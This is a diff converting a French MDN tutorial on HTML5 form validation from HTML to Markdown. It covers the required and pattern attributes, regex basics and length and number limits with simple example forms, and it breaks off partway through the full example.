+4,228 @@ slug: Learn/Forms/Form_validation translation_of: Learn/Forms/Form_validation original_slug: Web/Guide/HTML/Formulaires/Validation_donnees_formulaire --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}} -<p>Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont dans un format correct pour pouvoir être traitées correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser les applications. La validation des données de formulaire vous aide à remplir ces objectifs — cet article indique ce qu'il est nécessaire de savoir.</p> +Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont dans un format correct pour pouvoir être traitées correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser les applications. La validation des données de formulaire vous aide à remplir ces objectifs — cet article indique ce qu'il est nécessaire de savoir. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions concernant les ordinateurs, une bonne compréhension du <a href="/fr/docs/Learn/HTML">HTML</a>, des <a href="/fr/docs/Learn/CSS">CSS</a> et de <a href="/fr/docs/Learn/JavaScript">JavaScript</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre ce qu'est la validation d'un formulaire, pourquoi c'est important et comment la mettre en œuvre.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions concernant les ordinateurs, une bonne compréhension du + <a href="/fr/docs/Learn/HTML">HTML</a>, des + <a href="/fr/docs/Learn/CSS">CSS</a> et de + <a href="/fr/docs/Learn/JavaScript">JavaScript</a>. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre ce qu'est la validation d'un formulaire, pourquoi c'est + important et comment la mettre en œuvre. + </td> + </tr> + </tbody> </table> -<h2 id="Qu'est‑ce_qu'une_validation_de_formulaire">Qu'est‑ce qu'une validation de formulaire?</h2> +## Qu'est‑ce qu'une validation de formulaire? -<p>Allez sur n'importe quel site à la mode avec un formulaire d'inscription et vous remarquerez des retours si vous n'entrez pas les données dans le format attendu. Vous aurez des messages comme :</p> +Allez sur n'importe quel site à la mode avec un formulaire d'inscription et vous remarquerez des retours si vous n'entrez pas les données dans le format attendu. Vous aurez des messages comme : -<ul> - <li>« Ce champ est obligatoire » (vous ne pouvez pas le laisser vide)</li> - <li>« Veuillez entrer votre numéro de téléphone au format xxx-xxxx » (il attend trois chiffres suivis d'un tiret, suivi de quatre chiffres).</li> - <li>« Veuillez entrer une adresse e-mail valide » (ce que vous avez saisi ne ressemble pas à une adresse e-mail valide).</li> - <li>« Votre mot de passe doit comporter entre 8 et 30 caractères et contenir une majuscule, un symbole et un chiffre » (sérieusement ?).</li> -</ul> +- « Ce champ est obligatoire » (vous ne pouvez pas le laisser vide) +- « Veuillez entrer votre numéro de téléphone au format xxx-xxxx » (il attend trois chiffres suivis d'un tiret, suivi de quatre chiffres). +- « Veuillez entrer une adresse e-mail valide » (ce que vous avez saisi ne ressemble pas à une adresse e-mail valide). +- « Votre mot de passe doit comporter entre 8 et 30 caractères et contenir une majuscule, un symbole et un chiffre » (sérieusement ?). -<p>C'est ce qu'on appelle la validation de formulaire — lorsque vous saisissez des données, l'application Web vérifie si elles sont correctes. Si elles sont correctes, l'application permet que les données soient soumises au serveur et (généralement) sauvegardées dans une base de données ; si ce n'est pas le cas, elle émet des messages d'erreur pour expliquer ce que vous avez fait de mal (pour autant que vous l'ayez fait). La validation des formulaires peut être mise en œuvre de différentes manières.</p> +C'est ce qu'on appelle la validation de formulaire — lorsque vous saisissez des données, l'application Web vérifie si elles sont correctes. Si elles sont correctes, l'application permet que les données soient soumises au serveur et (généralement) sauvegardées dans une base de données ; si ce n'est pas le cas, elle émet des messages d'erreur pour expliquer ce que vous avez fait de mal (pour autant que vous l'ayez fait). La validation des formulaires peut être mise en œuvre de différentes manières. -<p>La vérité est qu'aucun d'entre nous n'<em>aime</em> remplir des formulaires — les formulaires ennuient les utilisateurs, tout le prouve : cela les incite à partir et à aller voir ailleurs s'ils sont mal faits. Bref, les formulaires, c'est nullissime.</p> +La vérité est qu'aucun d'entre nous n'_aime_ remplir des formulaires — les formulaires ennuient les utilisateurs, tout le prouve : cela les incite à partir et à aller voir ailleurs s'ils sont mal faits. Bref, les formulaires, c'est nullissime. -<p>Remplir des formulaires web doit être aussi facile que possible. Alors pourquoi être tatillons et bloquer les utilisateurs à chaque fois ? Il y a trois raisons principales :</p> +Remplir des formulaires web doit être aussi facile que possible. Alors pourquoi être tatillons et bloquer les utilisateurs à chaque fois ? Il y a trois raisons principales : -<ul> - <li><strong>obtenir de bonnes données dans un bon format</strong> — les applications ne tourneront pas correctement si les données utilisateur sont stockées dans un format fantaisiste, ou si les bonnes informations ne sont pas aux bons endroits ou totalement omises.</li> - <li><strong>protéger nos utilisateurs</strong> — s'ils entrent un mot de passe facile à deviner ou aucun, des utilisateurs malveillants peuvent aisément accéder à leurs comptes et voler leurs données.</li> - <li><strong>nous protéger nous‑mêmes</strong> — il existe de nombreuses façons dont les utilisateurs malveillants peuvent utiliser les formulaires non protégés pour endommager l'application dans laquelle ils se trouvent (voir <a href="/fr/docs/Learn/Server-side/First_steps/Website_security">Sécurité du site Web</a>).</li> -</ul> +- **obtenir de bonnes données dans un bon format** — les applications ne tourneront pas correctement si les données utilisateur sont stockées dans un format fantaisiste, ou si les bonnes informations ne sont pas aux bons endroits ou totalement omises. +- **protéger nos utilisateurs** — s'ils entrent un mot de passe facile à deviner ou aucun, des utilisateurs malveillants peuvent aisément accéder à leurs comptes et voler leurs données. +- **nous protéger nous‑mêmes** — il existe de nombreuses façons dont les utilisateurs malveillants peuvent utiliser les formulaires non protégés pour endommager l'application dans laquelle ils se trouvent (voir [Sécurité du site Web](/fr/docs/Learn/Server-side/First_steps/Website_security)). -<h3 id="Les_divers_types_de_validation_de_formulaire">Les divers types de validation de formulaire</h3> +### Les divers types de validation de formulaire -<p>Vous rencontrerez différents types de validation de formulaires sur le Web :</p> +Vous rencontrerez différents types de validation de formulaires sur le Web : -<ul> - <li>La validation côté client est la validation qui est effectuée dans le navigateur, avant que les données n'aient été soumises au serveur. Cette méthode est plus conviviale que la validation côté serveur car elle donne une réponse instantanée. Il est possible de la subdiviser encore avec : - <ul> - <li>la validation JavaScript, codée en JavaScript, entièrement personnalisable.</li> - <li>la validation de formulaire intégrée avec les fonctions de validation de formulaire HTML5. Elle ne nécessite généralement pas de JavaScript, a de meilleures performances, mais elle n'est pas aussi personnalisable.</li> - </ul> - </li> -</ul> +- La validation côté client est la validation qui est effectuée dans le navigateur, avant que les données n'aient été soumises au serveur. Cette méthode est plus conviviale que la validation côté serveur car elle donne une réponse instantanée. Il est possible de la subdiviser encore avec : -<dl> -</dl> + - la validation JavaScript, codée en JavaScript, entièrement personnalisable. + - la validation de formulaire intégrée avec les fonctions de validation de formulaire HTML5. Elle ne nécessite généralement pas de JavaScript, a de meilleures performances, mais elle n'est pas aussi personnalisable. -<ul> - <li>La validation côté serveur est la validation opérée sur le serveur, après que les données ont été soumises — le code côté serveur est utilisé pour valider les données avant de les mettre dans la base de données. Si elles sont erronées, une réponse est envoyée au client pour dire à l'utilisateur ce qui a mal tourné. La validation côté serveur n'est pas aussi conviviale que la validation côté client, car elle nécessite un aller-retour vers le serveur, mais c'est la dernière ligne de défense de votre application contre les mauvaises données (c'est-à-dire les données incorrectes, voire malveillantes). Tous les modèles de canevas de vérification courants côté serveur ont des fonctions de validation et de nettoyage des données (ce qui les sécurise).</li> -</ul> +<!----> -<p>Dans le monde réel, les développeurs ont tendance à utiliser une combinaison de validations côté client et côté serveur, pour être du côté sûr.</p> +<!----> -<h2 id="Utiliser_la_validation_intégrée_au_formulaire">Utiliser la validation intégrée au formulaire</h2> +- La validation côté serveur est la validation opérée sur le serveur, après que les données ont été soumises — le code côté serveur est utilisé pour valider les données avant de les mettre dans la base de données. Si elles sont erronées, une réponse est envoyée au client pour dire à l'utilisateur ce qui a mal tourné. La validation côté serveur n'est pas aussi conviviale que la validation côté client, car elle nécessite un aller-retour vers le serveur, mais c'est la dernière ligne de défense de votre application contre les mauvaises données (c'est-à-dire les données incorrectes, voire malveillantes). Tous les modèles de canevas de vérification courants côté serveur ont des fonctions de validation et de nettoyage des données (ce qui les sécurise). -<p>Une des caractéristiques de <a href="/fr/docs/orphaned/Web/Guide/HTML/HTML5">HTML5</a> est la possibilité de valider la plupart des données utilisateur sans avoir recours à des scripts. Ceci se fait en utilisant des <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">attributs de validation</a> sur les éléments de formulaire ; ils vous permettent de spécifier des règles pour une entrée de formulaire comme : une valeur doit‑elle être remplie ? y a-t-il une longueur minimale et/ou maximale des données ? doit‑elle être un nombre, une adresse e-mail ou autre chose ? doit‑elle correspondre à un modèle ? Si les données saisies suivent toutes ces règles, elles sont considérées comme valides ; si ce n'est pas le cas, elles sont considérées comme non valides.<br> - Quand un élément est valide :</p> +Dans le monde réel, les développeurs ont tendance à utiliser une combinaison de validations côté client et côté serveur, pour être du côté sûr. -<ul> - <li>l'élément correspond à la pseudo‑classe CSS {{cssxref(":valid")}} ; cela vous permet d'appliquer une composition de style distinctive.</li> - <li>si l'utilisateur essaie d'envoyer les données, le navigateur soumet le formulaire pour autant qu'il n'y ait rien d'autre qui l'empêche de le faire (par ex. du JavaScript).</li> -</ul> +## Utiliser la validation intégrée au formulaire -<p>Quand un élément est invalide :</p> +Une des caractéristiques de [HTML5](/fr/docs/orphaned/Web/Guide/HTML/HTML5) est la possibilité de valider la plupart des données utilisateur sans avoir recours à des scripts. Ceci se fait en utilisant des [attributs de validation](/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation) sur les éléments de formulaire ; ils vous permettent de spécifier des règles pour une entrée de formulaire comme : une valeur doit‑elle être remplie ? y a-t-il une longueur minimale et/ou maximale des données ? doit‑elle être un nombre, une adresse e-mail ou autre chose ? doit‑elle correspondre à un modèle ? Si les données saisies suivent toutes ces règles, elles sont considérées comme valides ; si ce n'est pas le cas, elles sont considérées comme non valides. +Quand un élément est valide : -<ul> - <li>l'élément correspond à la pseudo‑classe CSS {{cssxref(":invalid")}} ; cela vous permet d'appliquer une composition de style distinctive.</li> - <li>si l'utilisateur essaie d'envoyer le formulaire, le navigateur le bloquera et affichera un message d'erreur.</li> -</ul> +- l'élément correspond à la pseudo‑classe CSS {{cssxref(":valid")}} ; cela vous permet d'appliquer une composition de style distinctive. +- si l'utilisateur essaie d'envoyer les données, le navigateur soumet le formulaire pour autant qu'il n'y ait rien d'autre qui l'empêche de le faire (par ex. du JavaScript). -<h3 id="Contraintes_de_validation_sur_les_éléments_input_—_simple_début">Contraintes de validation sur les éléments input — simple début</h3> +Quand un élément est invalide : -<p>Dans cette section, nous examinerons quelques unes des diverses fonctionnalités HTML5 peuvant être utilisées pour valider des éléments d'{{HTMLElement("input")}}.</p> +- l'élément correspond à la pseudo‑classe CSS {{cssxref(":invalid")}} ; cela vous permet d'appliquer une composition de style distinctive. +- si l'utilisateur essaie d'envoyer le formulaire, le navigateur le bloquera et affichera un message d'erreur. -<p>Commençons par un exemple simple — une entrée ouvrant un choix, selon votre préférence, entre banane ou cerise. Il faut un texte {{HTMLElement("input")}} simple avec une étiquette correspondante et un {{htmlelement("button")}} de soumission. Le code source est sur GitHub à l'adresse <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> et un exemple « live » ci-dessous :</p> +### Contraintes de validation sur les éléments input — simple début -<pre class="brush: html hidden"><form> - <label for="choose">Préférez‑vous la banane ou la cerise ?</label> - <input id="choose" name="i_like"> - <button>Soumettre</button> -</form></pre> +Dans cette section, nous examinerons quelques unes des diverses fonctionnalités HTML5 peuvant être utilisées pour valider des éléments d'{{HTMLElement("input")}}. -<pre class="brush: css hidden">input:invalid { +Commençons par un exemple simple — une entrée ouvrant un choix, selon votre préférence, entre banane ou cerise. Il faut un texte {{HTMLElement("input")}} simple avec une étiquette correspondante et un {{htmlelement("button")}} de soumission. Le code source est sur GitHub à l'adresse [fruit-start.html](https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html) et un exemple « live » ci-dessous : + +```html hidden +<form> + <label for="choose">Préférez‑vous la banane ou la cerise ?</label> + <input id="choose" name="i_like"> + <button>Soumettre</button> +</form> +``` + +```css hidden +input:invalid { border: 2px dashed red; } input:valid { border: 1px solid black; -}</pre> +} +``` -<p>{{EmbedLiveSample("Contraintes_de_validation_sur_les_éléments_input_—_simple_début", "100%", 55)}}</p> +{{EmbedLiveSample("Contraintes_de_validation_sur_les_éléments_input_—_simple_début", "100%", 55)}} -<p>Pour commencer, faites une copie de fruit-start.html dans un nouveau répertoire sur votre disque dur.</p> +Pour commencer, faites une copie de fruit-start.html dans un nouveau répertoire sur votre disque dur. -<h3 id="Attribut_required">Attribut required</h3> +### Attribut required -<p>La fonctionnalité de validation HTML5 la plus simple à utiliser est l'attribut {{htmlattrxref("required", "input")}}} — si vous voulez rendre une entrée obligatoire, vous pouvez marquer l'élément en utilisant cet attribut. Lorsque cet attribut est mis, le formulaire ne sera pas soumis (et affichera un message d'erreur) si l'entrée est vide (l'entrée sera également considérée comme invalide).</p> +La fonctionnalité de validation HTML5 la plus simple à utiliser est l'attribut {{htmlattrxref("required", "input")}}} — si vous voulez rendre une entrée obligatoire, vous pouvez marquer l'élément en utilisant cet attribut. Lorsque cet attribut est mis, le formulaire ne sera pas soumis (et affichera un message d'erreur) si l'entrée est vide (l'entrée sera également considérée comme invalide). -<p>Ajoutez un attribut <code>required</code> à votre saisie, comme montré ci‑dessous :</p> +Ajoutez un attribut `required` à votre saisie, comme montré ci‑dessous : -<pre class="brush: html"><form> - <label for="choose">Préférez-vous la banane ou la cerise ?</label> - <input id="choose" name="i_like" required> - <button>Soumettre</button> -</form></pre> +```html +<form> + <label for="choose">Préférez-vous la banane ou la cerise ?</label> + <input id="choose" name="i_like" required> + <button>Soumettre</button> +</form> +``` -<p>Notez aussi le CSS incorporé dans le fichier exemple :</p> +Notez aussi le CSS incorporé dans le fichier exemple : -<pre class="brush: css">input:invalid { +```css +input:invalid { border: 2px dashed red; } input:valid { border: 1px solid black; -}</pre> +} +``` -<p>L'entrée a une bordure en pointillés rouge vif lorsqu'elle n'est pas valide, et une bordure noire plus subtile lorsqu'elle est valide. Essayez le nouveau comportement dans l'exemple ci-dessous :</p> +L'entrée a une bordure en pointillés rouge vif lorsqu'elle n'est pas valide, et une bordure noire plus subtile lorsqu'elle est valide. Essayez le nouveau comportement dans l'exemple ci-dessous : -<p>{{EmbedLiveSample("Attribut_required", "100%", 55)}}</p> +{{EmbedLiveSample("Attribut_required", "100%", 55)}} -<h3 id="Validation_selon_une_expression_régulière">Validation selon une expression régulière</h3> +### Validation selon une expression régulière -<p>Une autre fonctionnalité de validation très courante est l'attribut {{htmlattrxref("pattern", "input")}}, qui attend une <a href="/fr/docs/Web/JavaScript/Guide/Regular_Expressions">expression régulière</a> comme valeur. Une expression régulière (regex) est un modèle qui peut être utilisé pour faire correspondre des combinaisons de caractères dans des chaînes de texte, de sorte qu'elles sont idéales pour la validation de formulaires (ainsi que diverses autres utilisations en JavaScript). Les Regex sont assez complexes et nous n'avons pas l'intention de vous les enseigner de manière exhaustive dans cet article.</p> +Une autre fonctionnalité de validation très courante est l'attribut {{htmlattrxref("pattern", "input")}}, qui attend une [expression régulière](/fr/docs/Web/JavaScript/Guide/Regular_Expressions) comme valeur. Une expression régulière (regex) est un modèle qui peut être utilisé pour faire correspondre des combinaisons de caractères dans des chaînes de texte, de sorte qu'elles sont idéales pour la validation de formulaires (ainsi que diverses autres utilisations en JavaScript). Les Regex sont assez complexes et nous n'avons pas l'intention de vous les enseigner de manière exhaustive dans cet article. -<p>Vous trouverez ci-dessous quelques exemples pour vous donner une idée de base de leur fonctionnement :</p> +Vous trouverez ci-dessous quelques exemples pour vous donner une idée de base de leur fonctionnement : -<ul> - <li><code>a</code> — correspond à un caractère qui doit être un a (ni b, ni aa, etc.)</li> - <li><code>abc</code> — correspond à <code>a</code>, suivi de <code>b</code>, suivi de <code>c</code>.</li> - <li><code>a*</code> — correspond au caractère a, absent ou présent plusieurs fois (<code>+</code> correspond à un caractère une ou plusieurs fois).</li> - <li><code>[^a]</code> — correspond à un caractère qui <strong>n'est pas</strong> un a.</li> - <li><code>a|b</code> — correspond à un caractère qui est a ou b.</li> - <li><code>[abc]</code> — correspond à un caractère qui est a, b ou c.</li> - <li><code>[^abc]</code> — correspond à un caractère qui <strong>n'est pas</strong> a, b ou c.</li> - <li><code>[a-z]</code> — correspond à tout caractère de la plage a–z, en minuscules seulement (utilisez <code>[A-Za-z]</code> pour minuscules et majuscules et <code>[A-Z]</code> pour les majuscules uniquement).</li> - <li><code>a.c</code> — correspond à a, suivi par n'importe quel caractère,suivi par c.</li> - <li><code>a{5}</code> — correspond à a, 5 fois.</li> - <li><code>a{5,7}</code> — correspond à a, 5 à 7 fois, mais ni plus, ni moins.</li> -</ul> +- `a` — correspond à un caractère qui doit être un a (ni b, ni aa, etc.) +- `abc` — correspond à `a`, suivi de `b`, suivi de `c`. +- `a*` — correspond au caractère a, absent ou présent plusieurs fois (`+` correspond à un caractère une ou plusieurs fois). +- `[^a]` — correspond à un caractère qui **n'est pas** un a. +- `a|b` — correspond à un caractère qui est a ou b. +- `[abc]` — correspond à un caractère qui est a, b ou c. +- `[^abc]` — correspond à un caractère qui **n'est pas** a, b ou c. +- `[a-z]` — correspond à tout caractère de la plage a–z, en minuscules seulement (utilisez `[A-Za-z]` pour minuscules et majuscules et `[A-Z]` pour les majuscules uniquement). +- `a.c` — correspond à a, suivi par n'importe quel caractère,suivi par c. +- `a{5}` — correspond à a, 5 fois. +- `a{5,7}` — correspond à a, 5 à 7 fois, mais ni plus, ni moins. -<p>Vous pouvez utiliser des nombres ou d'autres caractères dans ces expressions, comme :</p> +Vous pouvez utiliser des nombres ou d'autres caractères dans ces expressions, comme : -<ul> - <li><code>[ -]</code> — correspond à une espace ou un tiret.</li> - <li><code>[0-9]</code> — correspond à tout nombre compris entre 0 et 9.</li> -</ul> +- `[ -]` — correspond à une espace ou un tiret. +- `[0-9]` — correspond à tout nombre compris entre 0 et 9. -<p>Vous pouvez combiner cela pratiquement comme vous l'entendez en précisant les différentes parties les unes après les autres :</p> +Vous pouvez combiner cela pratiquement comme vous l'entendez en précisant les différentes parties les unes après les autres : -<ul> - <li><code>[Ll].*k</code> — Un seul caractère L en majuscules ou minuscules, suivi de zéro ou plusieurs caractères de n'importe quel type, suivis par un k minuscules.</li> - <li><code>[A-Z][A-Za-z' -]+</code> — Un seul caractère en majuscules suivi par un ou plusieurs caractères en majuscules ou minuscules, un tiret, une apostrophe ou une espace. Cette combinaison peut s'utiliser pour valider les nom de villes dans les pays anglo‑saxons ; ils débutent par une majuscule et ne contiennent pas d'autre caractère. Quelques exemples de ville de GB correspondant à ce schéma : Manchester, Ashton-under-lyne et Bishop's Stortford.</li> - <li><code>[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}</code> — Un schéma pour un numéro de téléphone intérieur américain — trois chiffres, suivis par une espace ou un tiret, suivis par trois nombres, suivis par une espace ou un tiret, suivis par quatre nombres. Vous aurez peut-être à faire plus compliqué, car certains écrivent leur numéro de zone entre parenthèses, mais ici il s'agit simplement de faire une démonstration.</li> -</ul> +- `[Ll].*k` — Un seul caractère L en majuscules ou minuscules, suivi de zéro ou plusieurs caractères de n'importe quel type, suivis par un k minuscules. +- `[A-Z][A-Za-z' -]+` — Un seul caractère en majuscules suivi par un ou plusieurs caractères en majuscules ou minuscules, un tiret, une apostrophe ou une espace. Cette combinaison peut s'utiliser pour valider les nom de villes dans les pays anglo‑saxons ; ils débutent par une majuscule et ne contiennent pas d'autre caractère. Quelques exemples de ville de GB correspondant à ce schéma : Manchester, Ashton-under-lyne et Bishop's Stortford. +- `[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}` — Un schéma pour un numéro de téléphone intérieur américain — trois chiffres, suivis par une espace ou un tiret, suivis par trois nombres, suivis par une espace ou un tiret, suivis par quatre nombres. Vous aurez peut-être à faire plus compliqué, car certains écrivent leur numéro de zone entre parenthèses, mais ici il s'agit simplement de faire une démonstration. -<p>Voyons un exemple — mettons à jour notre HTML en y ajoutant un attribut <code>pattern</code>, ainsi :</p> +Voyons un exemple — mettons à jour notre HTML en y ajoutant un attribut `pattern`, ainsi : -<pre class="brush: html"><form> - <label for="choose">Préférez‑vous la banane ou la cerise ?</label> - <input id="choose" name="i_like" required pattern="banane|cerise"> - <button>Soumettre</button> -</form></pre> +```html +<form> + <label for="choose">Préférez‑vous la banane ou la cerise ?</label> + <input id="choose" name="i_like" required pattern="banane|cerise"> + <button>Soumettre</button> +</form> +``` -<pre class="brush: css">input:invalid { +```css +input:invalid { border: 2px dashed red; } input:valid { border: 1px solid black; -}</pre> +} +``` -<p>{{EmbedLiveSample("Validation_selon_une_expression_régulière", "100%", 55)}}</p> +{{EmbedLiveSample("Validation_selon_une_expression_régulière", "100%", 55)}} -<p>Dans cet exemple, l'élément {{HTMLElement("input")}}} accepte l'une des deux valeurs possibles : la chaîne « banane » ou la chaîne « cerise ».</p> +Dans cet exemple, l'élément {{HTMLElement("input")}}} accepte l'une des deux valeurs possibles : la chaîne « banane » ou la chaîne « cerise ». -<p>Maintenant, essayez de changer la valeur à l'intérieur de l'attribut <code>pattern</code> suivant certains exemples vus plus haut et regardez comment les valeurs entrées en sont affectées pour rester valides. Écrivez vos propres textes et voyez comment vous vous en sortez ! Restez dans le domaine des fruits dans la mesure du possible, afin que vos exemples aient du sens !</p> +Maintenant, essayez de changer la valeur à l'intérieur de l'attribut `pattern` suivant certains exemples vus plus haut et regardez comment les valeurs entrées en sont affectées pour rester valides. Écrivez vos propres textes et voyez comment vous vous en sortez ! Restez dans le domaine des fruits dans la mesure du possible, afin que vos exemples aient du sens ! -<div class="note"> -<p><strong>Note :</strong> Certains types d'éléments {{HTMLElement("input")}} n'ont pas besoin d'un attribut {{htmlattrxref("pattern", "input")}} pour être validés. Spécifier le type <code>email</code>, par exemple, valide la valeur saisie par rapport à une expression régulière correspondant à une adresse e‑mail bien formée (ou une liste d'adresses e‑mail séparées par des virgules si elle possède l'attribut {{htmlattrxref("multiple", "input")}}. Comme autre exemple, les champs de type <code>url</code> vont automatiquement nécessiter une URL correctement formée.</p> -</div> +> **Note :** Certains types d'éléments {{HTMLElement("input")}} n'ont pas besoin d'un attribut {{htmlattrxref("pattern", "input")}} pour être validés. Spécifier le type `email`, par exemple, valide la valeur saisie par rapport à une expression régulière correspondant à une adresse e‑mail bien formée (ou une liste d'adresses e‑mail séparées par des virgules si elle possède l'attribut {{htmlattrxref("multiple", "input")}}. Comme autre exemple, les champs de type `url` vont automatiquement nécessiter une URL correctement formée. -<div class="note"> -<p><strong>Note :</strong> L'élément {{HTMLElement("textarea")}} ne prend pas en charge l'attribut {{htmlattrxref("pattern", "input")}}.</p> -</div> +> **Note :** L'élément {{HTMLElement("textarea")}} ne prend pas en charge l'attribut {{htmlattrxref("pattern", "input")}}. -<h3 id="Limitation_de_la_taille_des_entrées">Limitation de la taille des entrées</h3> +### Limitation de la taille des entrées -<p>Tous les champs de texte créés avec ({{HTMLElement("input")}} ou {{HTMLElement("textarea")}}) peuvent être limités en taille avec les attributs {{htmlattrxref("minlength", "input")}} et {{htmlattrxref("maxlength", "input")}}. Le champ sera invalide si sa taille est inférieure à la valeur {{htmlattrxref("minlength", "input")}} ou supérieure la valeur {{htmlattrxref("maxlength", "input")}}. Souvent, les navigateurs ne permettent pas aux utilisateurs de saisir des textes de grande longueur dans les champs texte, mais il peut être utile de disposer d'un contrôle plus fin.</p> +Tous les champs de texte créés avec ({{HTMLElement("input")}} ou {{HTMLElement("textarea")}}) peuvent être limités en taille avec les attributs {{htmlattrxref("minlength", "input")}} et {{htmlattrxref("maxlength", "input")}}. Le champ sera invalide si sa taille est inférieure à la valeur {{htmlattrxref("minlength", "input")}} ou supérieure la valeur {{htmlattrxref("maxlength", "input")}}. Souvent, les navigateurs ne permettent pas aux utilisateurs de saisir des textes de grande longueur dans les champs texte, mais il peut être utile de disposer d'un contrôle plus fin. -<p>Pour les champs numériques (c'est à dire, <type d'entrée="nombre">), les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} permettent également des contraintes de validité. Si la valeur du champ est inférieure à l'attribut {{htmlattrxref("min", "input")}} ou supérieure à l'attribut {{htmlattrxref("max", "input")}}, le champ ne sera pas valide.</p> +Pour les champs numériques (c'est à dire, \<type d'entrée="nombre">), les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} permettent également des contraintes de validité. Si la valeur du champ est inférieure à l'attribut {{htmlattrxref("min", "input")}} ou supérieure à l'attribut {{htmlattrxref("max", "input")}}, le champ ne sera pas valide. -<p>Prenons un autre exemple. Créez une nouvelle copie du fichier <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a>.</p> +Prenons un autre exemple. Créez une nouvelle copie du fichier [fruit-start.html](https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html). -<p>Supprimez maintenant le contenu de l'élément <code><body></code> et remplacez-le par le suivant :</p> +Supprimez maintenant le contenu de l'élément `<body>` et remplacez-le par le suivant : -<pre class="brush: html"><form> - <div> - <label for="choose">Préférez‑vous la banane ou la cerise ?</label> - <input id="choose" name="i_like" required minlength="6" maxlength="6"> - </div> - <div> - <label for="number">Combien en voulez‑vous ?</label> - <input type="number" id="number" name="amount" value="1" min="1" max="10"> - </div> - <div> - <button>Soumettre</button> - </div> -</form></pre> +```html +<form> + <div> + <label for="choose">Préférez‑vous la banane ou la cerise ?</label> + <input id="choose" name="i_like" required minlength="6" maxlength="6"> + </div> + <div> + <label for="number">Combien en voulez‑vous ?</label> + <input type="number" id="number" name="amount" value="1" min="1" max="10"> + </div> + <div> + <button>Soumettre</button> + </div> +</form> +``` -<ul> - <li>Ici, nous avons donné au champ de texte une taille minimale et maximale de 6 caractères — la même que celle de <em>banane</em> ou <em>cerise</em>. La saisie de moins de 6 caractères s'affichera comme non valide et la saisie de plus de 6 caractères ne sera pas possible dans la plupart des navigateurs.</li> - <li>Nous avons également contraint le champ <code>number</code> à un <code>min</code> de 1 et un <code>max </code>de 10 — les nombres entrés hors de cette plage seront affichés comme non valides, et vous ne pourrez pas utiliser les flèches d'incrémentation/décrémentation pour porter la valeur en dehors de cette plage.</li> -</ul> +- Ici, nous avons donné au champ de texte une taille minimale et maximale de 6 caractères — la même que celle de _banane_ ou _cerise_. La saisie de moins de 6 caractères s'affichera comme non valide et la saisie de plus de 6 caractères ne sera pas possible dans la plupart des navigateurs. +- Nous avons également contraint le champ `number` à un `min` de 1 et un `max `de 10 — les nombres entrés hors de cette plage seront affichés comme non valides, et vous ne pourrez pas utiliser les flèches d'incrémentation/décrémentation pour porter la valeur en dehors de cette plage. -<pre class="brush: html hidden">input:invalid { +```html hidden +input:invalid { border: 2px dashed red; } @@ -237,64 +235,66 @@ input:valid { div { margin-bottom: 10px; -}</pre> +} +``` -<p>Voici cet exemple s'exécutant en « live » :</p> +Voici cet exemple s'exécutant en « live » : -<p>{{EmbedLiveSample('Limitation_de_la_taille_des_entrées', "100%", 100)}}</p> +{{EmbedLiveSample('Limitation_de_la_taille_des_entrées', "100%", 100)}} -<div class="note"> -<p><strong>Note :</strong> <code><input type="number"></code> (et d'autres types, comme <code>range</code>) acceptent aussi un attribut {{htmlattrxref("step", "input")}} qui spécifie l'incrément en plus ou en moins de la valeur quand les contrôles d'entrée sont utilisés (comme les boutons <kbd>^</kbd> et <kbd>v</kbd>).</p> -</div> +> **Note :** `<input type="number">` (et d'autres types, comme `range`) acceptent aussi un attribut {{htmlattrxref("step", "input")}} qui spécifie l'incrément en plus ou en moins de la valeur quand les contrôles d'entrée sont utilisés (comme les boutons <kbd>^</kbd> et <kbd>v</kbd>). -<h3 id="Exemple_complet">Exemple complet</h3> +### Exemple complet -<p>Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intégrées pour la validation :</p> +Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intégrées pour la validation : -<pre class="brush: html"><form> - <p> - <fieldset> - <legend>Qualité<abbr title="Ce champ est obligatoire">*</abbr></legend> - <input type="radio" required name="title" id="r1" value="Mr"><label for="r1">M.</label> - <input type="radio" required name="title" id="r2" value="Ms"><label for="r2">Mme.</label> - </fieldset> - </p> - <p> - <label for="n1">Quel est votre âge ?</label> - <!-- L'attribut pattern peut servir de recours pour les navigateurs dont le type number n'est +```html +<form> + <p> + <fieldset> + <legend>Qualité<abbr title="Ce champ est obligatoire">*</abbr></legend> + <input type="radio" required name="title" id="r1" value="Mr"><label for="r1">M.</label> + <input type="radio" required name="title" id="r2" value="Ms"><label for="r2">Mme.</label> + </fieldset> + </p> + <p> + <label for="n1">Quel est votre âge ?</label> + <!-- L'attribut pattern peut servir de recours pour les navigateurs dont le type number n'est pas implémenté pour input mais qui prennent en charge 